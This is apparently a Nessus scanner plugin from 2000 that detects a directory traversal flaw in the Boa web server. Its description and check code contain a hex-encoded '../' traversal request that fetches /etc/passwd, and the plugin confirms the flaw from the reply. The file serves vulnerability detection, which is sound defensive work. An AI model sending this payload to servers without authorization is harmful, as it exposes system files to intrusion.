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#
# This script was written by Thomas Reinke <reinke@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10527);
name["english"] = "Boa file retrieval";
script_name(english:name["english"]);
desc["english"] = "The remote Boa server
allows an attacker to read arbitrary files
on the remote web server, prefixing the
pathname of the file with hex-encoded
../../..
Example:
GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
will return /etc/passwd.
Solution: upgrade to a later version of the
server found at http://www.boa.org
Risk factor : Serious";
script_description(english:desc["english"]);
summary["english"] = "Boa file retrieval";
script_summary(english:summary["english"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2000 Thomas Reinke");
family["english"] = "Remote file access";
family["francais"] = "Accs aux fichiers distants";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
port = get_kb_item("Services/www");
if(!port)port = 80;
if(get_port_state(port))
{
soc = http_open_socket(port);
if(soc)
{
buf = string("/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd");
buf = http_get(item:buf, port:port);
send(socket:soc, data:buf);
rep = recv(soc, length:4096);
if(("root:" >< rep) && ("Boa/" >< rep) )
security_hole(port);
close(soc);
}
}
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